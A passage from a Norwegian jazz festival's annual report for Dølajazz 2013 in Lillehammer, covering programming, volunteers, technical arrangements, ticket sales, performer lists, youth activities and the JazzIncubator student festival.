st\u00f8tte fra Norsk kulturr\u00e5d. Minneverdig ble ogs\u00e5 Supernatta, med foran nevnte Icewegian, BokkeReidars Bluesband, og selveste Chipahua. Det er lenge siden vi har opplevd s\u00e5 mye folk og s\u00e5 h\u00f8y stemning i Kulturhuset Banken\\! D\u00f8lajazz 2013 ble ut fra m\u00e5lsettingene en suksess. Flotte omtaler i media, flere konserter var fulle, norsk og europeisk jazz av h\u00f8y kvalitet ble presentert for et bredt publikum. Ogs\u00e5 i \u00e5r avsluttet vi med en intim konsert p\u00e5 Cafe Stift p\u00e5 s\u00f8ndagen kl 1330, denne gang med Karin Krog og Morten Gunnar Larsen. Fullt hus\\! Det negative resultatet fra 2012 ble snudd til et lite overskudd i Det er sm\u00e5 marginer, s\u00e5 nesten 15 % \u00f8kte billettinntekter, noen f\u00e6rre konserter, litt \u00f8kning i annonseinntekter, gj\u00f8r underverker. Allikevel fant vi rom til \u00e5 bruke ressurser p\u00e5 profesjonalisering, b\u00e5de n\u00e5r det gjelder festivalens synlighet (\u00e5rets nyhet var festivalavis distribuert med GD), samt administrative oppgaver innad (engasjement av KREKO /Bj\u00f8rn L\u00f8ken bl.a. til \u00e5 gjennomf\u00f8re kontraktarbeidet med musikere og til \u00e5 h\u00e5ndtere billett- og \u00f8konomi-administrasjonen). Vi har deltatt p\u00e5 konferanser og jobbet med nettverksbygging. 2. GJENNOMF\u00d8RING AV D\u00d8LAJAZZ Programarbeid Styremedlem Mette Kari Worum representerte styret i programr\u00e5det \u00d8vrige representanter var Ole Johan Hjortdal, Roar Holten, Morten Knarrum og Rune Hall\u00e5s. Det ble ogs\u00e5 valgt en programkomite knyttet til JazzIncubator som besto av fire studenter fra Kulturprosjektledelse ved H\u00f8gskolen i Lillehammer, samt J\u00f8rgen Damskau og Elin Dotseth som eksterne fagfolk. Generelle f\u00f8ringer var at det musikalske fundamentet i festivalen skal v\u00e6re forankret i jazzen. Retningslinjer for programr\u00e5d D\u00f8lajazz Lillehammer jazzfestival Totalt budsjett for programr\u00e5det (fredag s\u00f8ndag): kr , da programmeringen var ferdig l\u00e5 vi under budsjett. Inkludere reiseutgifter i honoraret. Dette gj\u00f8r jobben v\u00e5r etter festivalen enklere og man slipper uforutsette utgifter i forbindelse med reise til artister (i stedet for bare \u00e5 avtale et honorar pluss reise i kontrakten s\u00e5 m\u00e5 det settes et bel\u00f8p for honorar og et bel\u00f8p for reise\\!) Det skal programmeres konserter for tre dager. o Fredag 11. oktober o L\u00f8rdag 12. oktober, inkl. Kirkekonsert Festkonsert (Supernatta) o S\u00f8ndag 13. oktober (lunsjkonsert) Tenke spillesteder med utgangspunkt i festivalen 2012 St\u00f8rst fokus p\u00e5 norsk jazz (ihht vedtektene), utover dette er det fint \u00e5 ha innslag av nordisk og internasjonal jazz.\n\n\n\n5 Side 5 Bredde i uttrykk og jazz-sjanger tenk m\u00e5lgrupper: ung/gammel, erfaren/uerfaren jazzlytter, studenter. B\u00f8r ha noe for enhver smak og ikke minst at man f\u00e5r vist den store bredden som finnes i jazzuttrykket. Programr\u00e5det m\u00e5 innhente div info om bandene. Dette gis videre til artistansvarlig som skriver kontrakter og blir bandenes kontaktperson videre (dette sp\u00f8rres det om ved kontakt med artistene) o Riktig navn p\u00e5 band med bandmedlemmer o Kontaktinformasjon og kontaktperson o Info (tekst og bilder) til presse, web, annonser, program og lignende. o Avtalt bel\u00f8p p\u00e5 honorar og reise. I tillegg: o Torsdag 10. oktober: D\u00f8laJazz Homecoming \u00e5pningskonsert. Programr\u00e5det kan komme med innspill og tips om aktuelle artister som kan v\u00e6re med (artister fra distriktet, utflyttet eller innflyttet) o Barnekonsert fredag 11. oktober (2 konserter med samme band) o Jamverter fredag (fra Jazzincubator) og l\u00f8rdag Programr\u00e5det var meget opptatt av \u00e5 holde h\u00f8y kvalitet. Samtidig var det viktig \u00e5 kunne presentere et bredt program innenfor den vide jazz-sjangeren. Vi \u00f8nsket ogs\u00e5 \u00e5 finne noen band med det m\u00e5l at vi skulle treffe et nytt og kanskje yngre publikum samtidig som man m\u00e5tte passe p\u00e5 \u00e5 holde profilen og ha noe for en hver smak. Programr\u00e5det mottar en enorm mengde tilbud p\u00e5 artister som \u00f8nsker \u00e5 spille p\u00e5 festivalen, og det er mange forhold som skal vurderes og klaffe for at en artist blir invitert. Programr\u00e5det var forn\u00f8yd med at konsertene 2013 stort sett fylte opp arenaene, det var bredt programmert, s\u00e5nn at det var konserter for en hver smak, det var h\u00f8y kvalitet p\u00e5 musikerne, og det var god rekrutering av publikum Spillesteder I alfabetisk rekkef\u00f8lge var \u00e5rets spillesteder Bingo n, Cafe Stasjonen, Cafe Stift, DUS, Festivalteltet p\u00e5 Sigrid Undsets plass, Kulturhuset Banken Festsalen, Lillehammer kirke, og Rica Viktoria Kongressalen. Kongressalen ble valgt fordi Kjelleren enn\u00e5 ikke er klar etter fjor\u00e5rets oversv\u00f8mmelser. Flytting av Festivalteltet til Sigrid Undsets plass var en ubetinget suksess. Det ga nytt liv i bybildet under festivalen og mange forbipasserende oppdager en del av D\u00f8laJazz. Og samarbeidet med kafeen Lykkelige dager ga mersmak. Programmet besto i tillegg til musikere fra regionen ogs\u00e5 av noen litt mer langveisfarende. Bes\u00f8ket p\u00e5 gratiskonsertene var over all forventning. V\u00e6ret var str\u00e5lende, Teltet har imidlertid enn\u00e5 et uforl\u00f8st potensiale som kan utnyttes til at det blir et samlingspunkt og et sted for folkefest. Dette m\u00e5 det imidlertid jobbes mer med, og arbeidet b\u00f8r starte tidligere og ha dedikerte folk som jobber med det. Og i tett dialog med Lykkelige dager. Ogs\u00e5 i \u00e5r var JazzIncubator lagt til Studenthuset Bingo n, i \u00e5r om mulig enda mer vellykket enn i En s\u00e5 viktig satsning som JazzIncubator fortjener b\u00e5de et lokale og spilletider som kan \u00f8ke kvaliteten p\u00e5 gjennomf\u00f8ringen og som kan gj\u00f8re konsertene mer tilgjengelig for jazzpublikummet.\n\n til presse, web, annonser, program og lignende. o Avtalt bel\u00f8p p\u00e5 honorar og reise. I tillegg: o Torsdag 10.\")\n\n6 Side Frivillige De frivillige funksjon\u00e6renes innsats er avgj\u00f8rende for gjennomf\u00f8ring av arrangementet. D\u00f8lajazz har en stor stab med trofaste frivillige, og det er viktig at disse blir tatt godt vare p\u00e5\\! Det var rundt 110 frivillige som jobbet b\u00e5de f\u00f8r, under og etter festivalen. Frivilligleder Anne Synn\u00f8ve \u00d8stensen, i samarbeid med Ingerid Skabo, tok kontakt med alle tidligere gruppeledere om de fortsatt ville v\u00e6re med, og det ble holdt gruppelederm\u00f8te i juni med flere styremedlemmer til stede. Det er en stor jobb \u00e5 innhente og registrere frivillige funksjon\u00e6rer. Alle frivillige ble registrert, og listene ble oppdaterte til festivalstart. Det er imidlertid fortsatt n\u00f8dvendig med \u00e5 utvikle gode rutiner som sikrer at vi har korrekte / korrigerte e-postadresser. F.eks. skifter folk sjeldnere private e-postadresser enn jobb e-postadresser. Gruppelederne fyller opp gruppene sine i samarbeid med de frivilligansvarlige. Mange av gruppene er godt etablerte, men vi opplever en \u00f8kt \u00abturnover\u00bb. Dette gjelder for \u00f8vrig de fleste festivaler som i hovedsak drives av frivillige. Det er en liten, \u00f8kende tendens at noen frivillige trekker seg helt inntil festivalstart, og vi m\u00e5 se p\u00e5 hvordan vi skal sikre at det f\u00e5r minst mulig konsekvenser. De frivillige fikk et m\u00e5ltid de dagene de jobbet, og Lykkelige Dager stod for serveringen i Festivalteltet. Dette er en ordning vi \u00f8nsker \u00e5 videref\u00f8re. Vi fulgte ogs\u00e5 i \u00e5r opp med rabattkort med 1 \u00e5rs varighet. Kjempegode avtaler\\! Vi arrangerte f\u00f8rstehjelpskurs for tredje \u00e5r p\u00e5 rad med spesialsykepleier, Bj\u00f8rn Stendebakken, en durkdreven f\u00f8rstehjelpsspesialist som har erfaring fra mange konserter og arrangementer. Kick-off for frivillige ble i \u00e5r arrangert p\u00e5 Caf\u00e8 Stasjonen. Det er nyttig, og hyggelig, at alle frivillige treffes, f\u00e5r anledning til \u00e5 stille sp\u00f8rsm\u00e5l, og f\u00e5 oppdaterte informasjoner om festivalen. De frivillige er viktige ambassad\u00f8rer for festivalen, og det er s\u00e5ledes vesentlig at musikken som skal presenteres p\u00e5 \u00e5rets festival, blir kjent blant funksjon\u00e6rene. Vi fikk under denne festivalen spesielt mange tilbakemeldinger om at de frivillige var utrolig blide, l\u00f8sningsorienterte og positive\\! D\u00f8lajazz har normalt f\u00f8lgende arbeidsgrupper: Bedriftskonserter Festivalkontor Festivaltelt Fotogruppe GateJazzparade Kasse- og billett Konsertgrupper Kulturell Spaserstokk Markedsgruppe Milj\u00f8- og dekor Programkomite\n\n\n\n7 Side 7 Standsgruppe Teknikk/rigg Transport Ungjazzseminar I tillegg organiserer de n\u00e6rmere 50 studentene fra Kulturprosjektledelse og Produksjon og prosjektledelse for fjernsyn (H\u00f8gskolen i Lillehammer) seg i egne JazzIncubator-grupper Artistansvarlig Bj\u00f8rn A. L\u00f8ken /KREKO var ogs\u00e5 i \u00e5r hyret som D\u00f8laJazz sin artistansvarlig, med assistanse fra Tanja Caldecourt under selve festivalen. Hun hadde ansvarlig for egen backstagegruppe, som fungerte veldig fint. Da programr\u00e5det var ferdig med programmeringen overtok artistansvarlig videre oppf\u00f8lging. Artistansvarlig s\u00f8rget for: \u00c5 hente inn bildemateriale og informasjon om band og artister til presse, nettside, flyer, program og lignende. Arbeidet i \u00e5r ble gjort i samarbeid med markedsgruppen. Informasjon om transportbehov (ankomst og avreise), overnatting, teknisk rider, backstage ridere Oversikt over get in, lydpr\u00f8ve, konsertstart og konsertens varighet. Informasjonen som ble innhentet av artistansvarlig ble satt inn i planer og gitt videre til de som trengte denne informasjonen: teknisk ansvarlig, transportansvarlig, gruppeledere, spillesteder, artister Stedsansvarlige, konsertgrupper Det var en stedsansvarlig p\u00e5 hvert spillested med grupper av frivillige under seg. Stedsansvarlig fikk utdelt all informasjon som har med artister og konserter \u00e5 gj\u00f8re i form av et hefte. Dette heftet ble utdelt en uke f\u00f8r festivalstart. Heftet blir utarbeidet tett opp til festivalen, og noen mener at dette er for sent. Dette er imidlertid informasjon som man ikke har tilgang til p\u00e5 tidligere tidspunkt. Det som kanskje er viktigere er at man har et m\u00f8te p\u00e5 et tidligere tidspunkt for \u00e5 g\u00e5 gjennom alle detaljer, og informasjon om arbeidsoppgaver, det b\u00f8r v\u00e6re tydeligere retningslinjer for hva som er konsertgruppenes arbeidsoppgaver. Konsertgruppene hadde m\u00f8ter i forkant av konsertene med de forskjellige spillestedene med informasjon i forbindelse med gjennomf\u00f8ring, sikkerhet og brannforskrifter Kontrakter med artistene I 2009 ble det laget en kontraktsmal for videre bruk. Denne malen ble videref\u00f8rt i \u00e5r, med noen sm\u00e5 endringer og presiseringer. Man m\u00e5 imidlertid v\u00e6re obs p\u00e5 at noen band \u00f8nsker \u00e5 bruke sine egne kontrakter. Det er greit, men da er det viktig at de leses n\u00f8ye og at man f\u00f8rer inn viktige punkter fra d\u00f8lajazzkontrakten som for eksempel honorar, ev. reiseutgifter, overnatting, hva vi dekker og ikke dekker av m\u00e5ltider, ridere osv. Kontraktoppf\u00f8lgingen av artistene i \u00e5r har v\u00e6rt fungert fint og rutinene v\u00e5re er bra. Det tar alltid tid og noen m\u00e5 f\u00f8lges mer n\u00f8ye opp, men generelt har det v\u00e6rt lite st\u00f8y dette \u00e5ret.\n\n\n\n8 Side Lyd og lys Det har v\u00e6rt en teknisk ansvarlig, Bj\u00f8rn R J\u00f8rgensen, som hadde i oppgave \u00e5 koordinere med artistansvarlig og sette opp bestillinger til lyd og lys leverand\u00f8rer og til backline leverand\u00f8r. Arbeidet starter n\u00e5r bandene er booket og det kommer inn ridere fra dem. Jobben er st\u00f8rst i ukene f\u00f8r festivalen og under festivalen, og det er en forutsetning for stillingen at vedkommende er tilgjengelig fra morgen til kveld gjennom festivalen. Det vil dog v\u00e6re en stor fordel for festivalen om teknisk ansvarlig blir inkludert av programr\u00e5det n\u00e5r de er i gang. Teknisk ansvarlig hadde med seg tre \"assistenter\"/scenemannskap som hadde praktisk ansvar for enkelte av scenene under festivalgjennomf\u00f8ringa, som st\u00f8ttefunksjon til teknikerne fra lydleverand\u00f8r og teknisk ansvarlig. Alt av bestillinger/ forh\u00e5ndsarbeid b\u00f8r nok gj\u00f8res av samme person, men det anbefales \u00e5 videref\u00f8re en slik deling av praktisk jobb under selve festivalgjennomf\u00f8ringa. I tillegg var det en riggegruppe som bisto AVAB med rigging p\u00e5 spillestedene, her er det mye b\u00e6ring og jobbing sen kveld spesielt l\u00f8rdag, s\u00e5 det er viktig \u00e5 ha godt med frivillige i en slik gruppe (ca 8 stk). Leder for riggegruppa i 2013 kom inn alt for sent og ikke fikk god nok oversikt over behov f\u00f8r festivalen var i gang. Han var ogs\u00e5 opptatt med andre ting store deler av festivalen, s\u00e5 en del av organiseringa av riggegruppa ble gjort av frivilligleder og teknisk ansvarlig. Lyd & lys-kostnadene holdt stort sett samme niv\u00e5 som i Backline-/pianoleie st\u00e5r for ca 1/3 av kostnaden p\u00e5 utstyrsleie, og kan med bedre samkj\u00f8ring mellom programr\u00e5d, artistansvarlig og teknisk ansvarlig reduseres en god del, bl.a. ved helt fra bookingprosessen \u00e5 samkj\u00f8re backline til artister p\u00e5 samme scene (gjelder spesielt Cafe Stift og Ricakjeller/D\u00f8laheim), eller f\u00e5 artister til \u00e5 ta med egen backline. Som i fjor gjentas r\u00e5d til programr\u00e5det om \u00e5 ha dialog med teknisk ansvarlig fra tidlig i bookingprosessen. Dette ble i \u00e5r ikke gjort f\u00f8r i etterkant, og det m\u00e5tte gj\u00f8res noen mindre endringer p\u00e5 spilletider og steder. Etter \u00e5rets festival er det kj\u00f8pt inn noe eget utstyr (trommesett og en bassforsterker) som vil redusere backlinekostnader for kommende festivaler. En artist var avtalt \u00e5 stille med kun eget utstyr, men viste seg \u00e5 trenge noe likevel. Om slike typer avtaler gjentas er det viktig \u00e5 ha en tydelig dialog med artist i forkant for \u00e5 unng\u00e5 slike un\u00f8dvendige utfordringer under festivalen Samarbeid med b\u00e5de lydleverand\u00f8r AVAB og backlineleverand\u00f8r Christiansand Backline fungerte bra, uten vesentlige forsinkelser eller tekniske problemer. Det var noe br\u00e5k fra teknikere p\u00e5 en scene under konsert, som AVAB har f\u00e5tt beskjed om og beklaget. JazzIncubator i Bingo'n fungerer ypperlig. Studentene starter opp helt ferske, s\u00e5 det krever hvert \u00e5r tett oppf\u00f8lging av studentenes teknisk ansvarlige fra festivalen for \u00e5 sikre kvalitet p\u00e5 gjennomf\u00f8ringen. Konserter \"utenfor program\": - Artister i teltet fungerte i \u00e5r meget bra, alle tekniske behov ble - Kulturell spaserstokk-/bedriftskonserter ble gjennomf\u00f8rt uten problemer, noe riggehjelp fra frivillige p\u00e5 fredag.\n\n\n\n9 Side Billett-salg og h\u00e5ndtering Sammenlignet med andre festivaler selger D\u00f8lajazz fortsatt f\u00e5 billetter. Opplevelsen p\u00e5 konsertene var at det var tiln\u00e6rmet fulle hus, men andelen adgangspass for frivillige, sponsorer og andre samarbeidspartnere er stor p\u00e5 en del konserter. Festivalen hadde i \u00e5r mellom 5000 og 6000 bes\u00f8kende i l\u00f8pet de fire dagene, hovedtyngden ligger p\u00e5 l\u00f8rdag. Vi har i \u00e5r solgt billetter for totalt kr ,- fordelt slik: Billettservice D\u00f8ra Festivalkontoret Sum Dette er en pen oppgang i billettinntekter fra i fjor og en vesentlig \u00f8kning av forh\u00e5ndsolgte billetter. Det var ogs\u00e5 en betydelig \u00f8kning av billettsalget p\u00e5 festivalkontoret. Vi hadde et eget kasse-oppgj\u00f8rs kontor p\u00e5 Rica som fungerte bra til henting av kasser og innlevering av oppgj\u00f8r etter konsertene. Dette ble ledet av Bj\u00f8rn A. L\u00f8ken / KREKO. Vi hadde litt problemer med \u00e5 f\u00e5 frivillige til jobben med \u00abkassetransport\u00bb i \u00e5r, men med bra planlegging fungerte denne funksjonen likevel. Ettersom det til tider er ganske store kontantbel\u00f8p i oml\u00f8p, er det helt avgj\u00f8rende \u00e5 ha en person med ansvar for dette, og et eget l\u00e5sbart rom. I \u00e5r hadde vi tilgang p\u00e5 tre betalingsterminaler fra v\u00e5r bankforbindelse. Dette var et veldig bra hjelpemiddel i billettsalget og med tanke p\u00e5 \u00e5 minimere kontanter i oml\u00f8p. Neste \u00e5r kunne vi med fordel hatt enda et par terminaler. Vi solgte billetter p\u00e5 festivalkontoret alle dagene under festivalen (unntatt s\u00f8ndag), dette fungerte bedre i \u00e5r og ga bra \u00f8konomisk resultat. Dette b\u00f8r satses videre p\u00e5. Vi solgte, av flere \u00e5rsaker ikke billetter i festivalteltet i \u00e5r. I planleggingen av neste \u00e5rs festival b\u00f8r dette absolutt vurderes igjen, men det krever gode og riktige forberedelser. 3. HOVEDPROGRAM 3.1. Hovedinntrykk Vi \u00e5pnet festivalen med D\u00f8laJazz Homecoming der ideen er \u00e5 presentere jazzmusikere som har forankring i v\u00e5r region. Beate Elstad og hennes Little Bigband gjorde dette til en stor festaften. D\u00f8lajazz talentpris p\u00e5 kr , ogs\u00e5 i \u00e5r sponset av Sparebanken Hedmark, ble delt ut under konserten. Prisvinner Magnus Bakken \u00absatt inn\u00bb p\u00e5 to gjestenummer. Talentprisen gir forrige \u00e5rs vinner av talentprisen en egen konsert med en etablert musiker. Dette for \u00e5 vektlegge m\u00e5lsettingen om at D\u00f8lajazz skal v\u00e6re en m\u00f8teplass p\u00e5 tvers av generasjoner. Dessverre ble fjor\u00e5rets vinner Knut Kongsvold syk, og vi fikk dermed dessverre ikke det etterhvert tradisjonsrike m\u00f8tet mellom det unge fremadstormende og det etablerte. Bredden og kvaliteten i programmet gjorde at mange konserter trakk praktisk talt fulle hus, b\u00e5de i Kulturhuset Bankens festsal, p\u00e5 DUS, for ikke \u00e5 snakke om gratiskonsertene i festivalteltet. Samtidig ble en var vi litt overrasket over at vi ikke greide \u00e5 fylle kirken helt, men s\u00e5nn er det (ogs\u00e5) \u00e5 arrangere festival.\n\n\n\n10 Side 10 \u00c5rets festivalutstiller p\u00e5 Galleri Zink var fotograf J\u00f8rn Hagen. Dette var et vellykket samarbeid og et innspill med nye kunstneriske uttrykk til festivalen. Dette er et samarbeid som anbefales \u00e5 ta med seg videre Artister i hovedprogrammet I alt 78 musikere, her er bandene i alfabetisk rekkef\u00f8lge: Bakken/Lien/Berg/Johansen Magnus Bakken, Helge Lien, Frode Berg, Roger Johansen Beady Belle Beate S. Lech, Marius Reksj\u00f8, Erik Holm BokkeReidars Bluesband Gunnar Solheim, Klaus Bl\u00f8, Steinar H\u00f8ydal, Svein Hunnes, Terje Hanssen, Ivar Kvangardsnes, Trond Johnsen, Andr\u00e8 Folkestad Chipahua Inger Lise Rypdal, Maj Britt Andersen, Freddy Dahl, Torun Eriksen, Morten Halle, Jens Petter Antonsen, Torbj\u00f8rn Sunde, Kjell Larse, Ole Henrik Gi\u00f8rtz, Geir Holmsen, Bj\u00f8rn Jenssen Doffs Poi Marlen Berg, Oscar Gr\u00f6nberg, Tomas J\u00e4rmyr D\u00f8lajazz-Homecoming: Beates Little Bigband Beate Elstad, Freddy Wike, Tor Ingar Jakobsen, Trygve Fiske, Roy Nikolaisen, Astrid Lunke, Marit Skikkelstad, Merete H\u00f8gset, Mette Kari Worum Equilibrium Trio Sissel Vera Pettersen, MIkkel Ploug, Joachim Badenhorst Fr\u00f8y Aagre Kvartett Fr\u00f8y Aagre, Maren Selvaag, Jonas Barsten, Audun Ellingsen Heidi Skjerve Heidi Skjerve, Jon P\u00e5l Inderberg, Vigleik Storaas, Trygve Fiske Helge Lien Trio Helge Lien, Frode Berg, Knut Aalefj\u00e6r Helle Brunvoll Helle Brunvoll, Halvard Kausland, Hans Backenroth, Roger Johansen Hot Club de Norv\u00e8ge Jon Larsen, Per Frydenlund, Svein Aarbostad, Finn Hauge Icewegian Musical Treaty Rolv Olav Eide, Per Mathisen, Andres Th\u00f2r Gunnlaugsson, Sigurdur Flosason Karin Krog / Morten Gunnar Larsen Kyle Eastwood Band Kyle Eastwood, Graeme Blevins, Quintin Collins, Martyn Kaine, Andrew McCormac Rino Arbore Quartet Rino Arbore, Roy Nikolaisen, Georgio Vendola, Gianlivio Liberti. Sommerfuglfisk Nina Kristine Linge, Dan Peter Sundland, Hans Hulb\u00e6kmo\n\n\n\n11 Side AKTIVITETER FOR BARN OG UNGDOM D\u00f8lajazz har gjennom flere \u00e5r satset p\u00e5 musikkinteressert ungdom og hatt fokus p\u00e5 unge talenter. Flere av distriktets unge musikere sier at de fikk sitt f\u00f8rste m\u00f8te med jazzen gjennom D\u00f8lajazz Konserter for de minste Annette Seglem var en str\u00e5lende leder for barnekonsertgruppa sammen med Vivian Haverstadl\u00f8kken og Karin Aaen. Gjennom et samarbeid med Den Kulturelle Skolesekken fikk skolebarn i 1. klasse ved Lillehammerskolene tilbud om konsert i Kulturhuset Banken p\u00e5 fredag. I en p\u00e5f\u00f8lgende konsert var barnehagene i Lillehammer invitert. Invitasjon gikk via barnehagekontoret og skolekontoret med e-post til alle private og kommunale barnehager og skoler i Lillehammer. Vi opplevd problemer med at mange e-poster var borte i SPAM. N\u00e5r det var ordnet ble det to relativt fulle konserter hvor Tor Ingar Jakobsen og Karin Fristad vakte stor entusiasme og gledet alle tilstedev\u00e6rende. De holdt to musikalsk barnetimer, med alt fra Kirsten Langbo-tekster og sanger, til kjente og kj\u00e6re jazzl\u00e5ter med en barnlig twist. Barna ble engasjert i komponering, bevegelse og allsang. Det ble meget vellykket, og til sammen deltok ca 150 barn. I etterkant av hver av konsertene arrangerte vi i \u00e5r for andre gang sm\u00e5 minigateparader gjennom Storgata, et opplegg vi \u00f8nsker \u00e5 fortsette med. Annette Seglem, Turid Thomasen, Mette Kari Worum og Freddy Wike var ledere i miniparadene. Dette gir byen en p\u00e5minnelse ogs\u00e5 p\u00e5 fredag om at det er jazz i byen UngJazzseminar Et av tiltakene rettet mot unge musikere er seminaret som arrangeres over 5 dager; helga f\u00f8r, samt fredag, l\u00f8rdag og s\u00f8ndag under festivalen, med totalt 30 timers seminararbeid. Seminaret best\u00e5r hovedsakelig i samspill, spesielt med hvordan man improviserer over akkordprogresjoner. I tillegg blir noe tid brukt til jobbing med rytmikk og lytting til musikk. Utover seminartiden f\u00e5r deltagerne adgang til festivalens \u00f8vrige konserter hvor de fikk muligheter til \u00e5 lytte til live jazzmusikk av h\u00f8y kvalitet. V\u00e5r strategi er at kurset skal ledes av dyktige profesjonelle jazzmusikere som hentes inn fra det nasjonale jazzmilj\u00f8et. For ogs\u00e5 \u00e5 framst\u00e5 som tydelige rollemodeller for deltagerne ser vi det som spesielt viktig at instrukt\u00f8rene selv er (relativt) unge profesjonelle jazzmusikere fra det nasjonale jazzmilj\u00f8et. \u00c5rets instrukt\u00f8rer var Rolv Olav Eide (leder og trommer), Per Mathisen (bass), Kim Erik Pedersen (saksofon) og Torbj\u00f8rn Raae (gitar). Seminaret ble avsluttet med en konsert for en fullsatt sal p\u00e5 Plan-B (anslagsvis 80 publikummere). Etter noen \u00e5r med UngJazzseminar p\u00e5 D\u00f8laJazz, det f\u00f8rste var i 2004, ser vi at mange av de tidligere deltakere n\u00e5 begynner \u00e5 etablere seg i eliten i norsk jazzliv. Dette gj\u00f8r D\u00f8lajazz til en viktig bidragsyter til at v\u00e5r region skaper betydningsfulle jazzmusikere i Norge og i verden. Dette ble i \u00e5r understreket ved at \u00e5rets talentprisvinner Magnus Bakken deltok p\u00e5 det f\u00f8rste Ungjazzseminaret i 2004, og han deltok ogs\u00e5 p\u00e5 avslutningskonserten i \u00e5r\\!\n\n\n\n12 Side Talentprisen I \u00e5r ble talentprisen delt ut for 8. gang, og i \u00e5r som i fjor i samarbeid med hovedsponsor Sparebank1 Hedmark. Kandidaten m\u00e5 v\u00e6re: Ung P\u00e5 vei til \u00e5 bli nasjonal jazzut\u00f8ver Ha r\u00f8tter i \u00abv\u00e5r\u00bb region I 2013 ble prisen tildelt saksofonist Magnus Bakken fra Lillehammer. Han mottok en sjekk p\u00e5 kroner fra Sparebank1 Hedmark samt konserttilbud p\u00e5 neste \u00e5rs festival. Prisen har tidligere v\u00e6rt tildelt J\u00f8rgen Mathisen, Jo Fougner Skaansar, Maren Selvaag, Trond Bersu, \u00d8ystein Skaar, Ellen Andrea Wang og Knut Kongsvold JazzIncubator I \u00e5r som i fjor ble JazzIncubator arrangert p\u00e5 studenthuset Bingo n. Arenaen viser seg \u00e5 fungere godt for artister, publikum, arrang\u00f8rene og tv-produksjonen. Fra og med slutten av august ble det nedsatt en gruppe p\u00e5 13 studenter fra studiet Kulturprosjektledelse som arrangerte JazzIncubator Vegard Storaas og Marthe S\u00e6ther- Larsen ble utpekt som ledere for gruppen, mens andre studenter fikk ansvaret for markedsf\u00f8ringen, sponsing, artistkontakt og catering/frivillig. Studentene har hele ansvaret for JazzIncubator, og kan innen visse rammer forme minifestivalen p\u00e5 den m\u00e5ten de m\u00e5tte \u00f8nske. Sammen med J\u00f8rgen Damskau, og fjor\u00e5rets prosjektledere, dannet \u00e5rets prosjektledere og artistansvarlige et programr\u00e5d med oppgave om hvilke artister som skulle spille p\u00e5 \u00e5rets JazzIncubator. 39 innsendte forslag ble til 9 utvalgte band som fikk tilbud om dekket reise og opphold mot \u00e5 komme og spille. Programr\u00e5det la f\u00f8rst og fremst vekt p\u00e5 musikkens kvalitet, men ogs\u00e5 bandenes st\u00f8rrelser og bandets nasjonale tilh\u00f8righet. Programr\u00e5det var hele veien klar p\u00e5 at JazzIncubator skulle holde p\u00e5 sitt rykte som en jazzfestival med artister fra hele Europa, derfor fikk artistenes nasjonalitet betydning p\u00e5 valget. Konsertene gikk over tre dager med tre artister hver kveld. Festivalen hadde et snitt p\u00e5 ca. hundre bes\u00f8kende hver kveld. I tradisjonens tro ble det ogs\u00e5 denne gang gjennomf\u00f8rt en flerkameraproduksjon av artistenes opptredener under JazzIncubator. Studentene fra TV-fag f\u00e5r muligheten til \u00e5 skape en TVproduksjon av alle konsertene. Vi lyktes med \u00e5 legge til rette slik at publikum og artister ble forn\u00f8yd med TV-produksjonen. Tidligere har vi sett eksempler p\u00e5 at videokameraer har blitt til bry for artistene og publikummet, men med \u00e5rets kameraoppsett gikk det over forventning. TVprodusentene fikk gode n\u00e6rbilder og unngikk samtidig \u00e5 forstyrre publikums opplevelse. Vi opplevde at artistene var takknemlige for \u00e5 motta videoopptak av opptredenene sine. Samarbeidet med HiL gikk ogs\u00e5 i \u00e5r smertefritt. Det er viktig at man tidlig tok kontakt og gjennomf\u00f8rer forventningsavklaringer. Det er viktig for studentene at en person fra D\u00f8lajazzstyret (i \u00e5r styreleder Dag Waaler) fungerer som bindeledd mellom studentene som arrangerer JazzIncubator og resten av D\u00f8laJazz. Studentene fikk gode r\u00e5d, og konkrete svar p\u00e5 ethvert sp\u00f8rsm\u00e5l. Dette er sunt for \u00e5 knytte JazzIncubator og D\u00f8laJazz n\u00e6rmere tettere sammen.\n\n\n\n13 Side 13 Et forbedringspunkt for \u00e5 styrke studentenes involvering i \u00f8konomiske i det \u00e5 arrangere JazzIncubator, vil det v\u00e6re nyttig videre \u00e5 vise studentene regnskapet for tidligere \u00e5r. Dermed vet studentene hvor mye penger som kan brukes p\u00e5 hva. Hvert \u00e5r blir det gjort en flerkameraproduksjon i samarbeid med H\u00f8gskolen i Lillehammer. Dette er en dokumentering av nye unge band som blir tapet p\u00e5 DVD, musikerne fikk ogs\u00e5 med seg et eksemplar av DVDen som de kan bruke i videre arbeid. I alt 9 band, her alfabetisk liste (med nasjonalitet i parantes), med til sammen 31 musikere BenReddik (NO) Marte Therese Jakobsen, Camilla Hole, H\u00e5kon Hagen Knudsen, Johannes Fosse Solvang, Magnus Murphy Joelson, Morten Berger Stai, Knut Kvifte Nesheim Eder (DE) Felix Franzke, Julius Kraft, Julian Adam Pajzs, Hendrik Krause Eos Duett (DE) Anne Munka, Dora Osterloh Hatch (NO) Kjartan Gullikstad, Elisabeth Lid Tr\u00f8en, Hallvard Gaardl\u00f8s, Vetle Larsen Intone (SE, US) Eric Arellano, Oskar Stenmark, Johan Birgenius, Beate Wiesinger, Per Orvang Lumikide (NO) Axel Skalstad, Birgitta Alida Hole, Martin Tonne Shelter (NO) Ane Bjerkan, Fredrik Bechensten, Vegard Sandbukt Toph\u00f8j s Kusiner (DK) Kristoffer Toph\u00f8j, Lasse M\u00f8rck, Oilly Wallace Water Boogie System (SE) Karin Verbaan, Viktor Reuter, Jonathan Albrektson, William Soovik 5. FOLKEFESTEN 5.1. Den kulturelle spaserstokken Kulturkontoret i Lillehammer kommune og D\u00f8laJazz samarbeider for femte \u00e5r p\u00e5 rad om Den kulturelle spaserstokken. Vi engasjerte i \u00e5r gruppa Lucky3, best\u00e5ende av Hans Martin Austestad, Mattis Myrland og H\u00e5kon Rasmussen. Fordi Lucky3 ogs\u00e5 sto for \u00e5rets bedriftskonserter ble Kulturell spaserstokkturneen gjennomf\u00f8rt allerede tirsdag og onsdag. Trioen spilte akustisk p\u00e5 alle konsertene, seks i alt. Opplegget fungerte veldig bra, med noen unntak. Trioen hadde leiebil og greide seg, etter eget \u00f8nske, stort sett p\u00e5 egen h\u00e5nd, selv om det ogs\u00e5 var en D\u00f8laJazz-representant til stede ved alle konsertene; Carol Kvande, Karin Aaen og Maria Seines delte opp oppgaven. Det som ikke fungerte helt var systemet med matbonger til artistene, de m\u00e5tte legge ut for dette selv. Parkering av leiebilen ved Rica Victoria var ogs\u00e5 noe problematisk. Men at tiltaket ogs\u00e5 i \u00e5r ble til stor glede for beboere og gjester p\u00e5 byens bo- og 